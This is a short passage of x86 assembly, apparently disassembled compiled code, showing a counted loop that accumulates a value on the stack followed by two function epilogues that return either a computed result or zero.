mov edi, dword [esp + 0x10]
mov ecx, dword [esp + 0x20]
add eax, edi
dec ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], ecx
jne 0x4317f1
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x18
ret